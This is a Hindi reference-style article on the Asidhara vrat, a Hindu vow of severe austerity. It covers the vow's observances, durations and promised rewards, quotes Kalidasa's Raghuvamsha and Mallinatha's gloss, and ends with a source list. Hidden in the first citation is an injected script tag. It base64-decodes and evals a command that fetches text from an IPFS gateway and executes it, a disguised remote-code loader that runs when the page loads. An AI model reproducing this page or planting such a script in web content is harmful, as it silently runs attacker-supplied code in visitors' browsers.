असिधारा व्रत

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असिधाराव्रत तलवारों की धार पर चलने के समान अति सतर्कता के साथ की जाने वाली साधना को कहते हैं। मान्यता है कि इस व्रत में रिक्त भूमि पर सोना, घर के बाहर सोना, केवल रात्रि में खाना, पत्नी के आलिंगन में सोते हुए भी सम्भोग क्रिया से दूर रहना, क्रोध न करना, हरि के लिए जप एवं होम करना चाहिए।

  • इसमें व्रतकर्ता को अश्विन शुक्ल पूर्णिमा से लेकर पाँच अथवा दस दिनों तक अथवा कार्तिक पूर्णिमा तक अथवा चार मास पर्यन्त अथवा एक वर्ष पर्यन्त अथवा बारह वर्ष तक बिछावन रहित भूमि पर शयन करना, गृह से बाहर स्नान, केवल रात्रि में भोजन तथा पत्नी के रहते हुए भी ब्रह्मचर्य व्रत का पालन करना चाहिए। क्रोधमुक्त होकर जप में निमग्न तथा हरि के ध्यान में तल्लीन रहना चाहिए। भिन्न-भिन्न प्रकार की वस्तुओं को दान-पुण्य में दिया जाना चाहिए। यह क्रम दीर्घ काल तक चले।[1]
  • बारह वर्ष पर्यन्त इस व्रत का आचरण करने वाला विश्वविजयी अथवा विश्वपूज्य हो सकता है[2]
  • इस व्रत में अवधियों के अनुसार विभिन्न फल प्राप्त होते हैं, जैस- 12 वर्षों के उपरान्त व्रत करने वाला अखिल विश्व का शासक हो सकता है और मरने के उपरान्त जनार्दन से मिल जाता है। यह असिधाराव्रत का सबसे बड़ा फल है।[3]
  • 'असिधारा' शब्द के अर्थानुसार इस व्रत का उतना ही कठिन तथा तीक्ष्ण होना है, जितना तलवार की धार पर चलना। कालिदास ने रघुवंश[4] में राम के वनवास के समय भरत द्वारा समस्त राजकीय भोगों का परित्याग कर देने को इस उग्र व्रत का आचरण करना वतलाया है-

'इयंति वर्षाणि तथा सहोग्रमभ्यस्यतीव व्रतमासिधारम् ।'
युवा युवत्या सार्धं यन्मुग्धभर्तृवदाचरेत् ।
अंतर्विविक्तसंग: स्यादसिधाराव्रतं स्मृतम्।

"युवती स्त्री के साथ एकांत में किसी युवक का मन से भी असंग रहकर भोला आचरण करना अधिधाराव्रत कहा गया है।" -मल्लिनाथ


टीका टिप्पणी और संदर्भ

  1. हिन्दू धर्मकोश |लेखक: डॉ. राजबली पाण्डेय |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान |पृष्ठ संख्या: 67 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. विष्णुधर्मोत्तर पुराण,3.218,1.25
  3. विष्णुधर्मोत्तर पुराण (3|218|1-25); हेमाद्रि (व्रत खण्ड 2, 825-827
  4. रघुवंश 77.13

अन्य संबंधित लिंक

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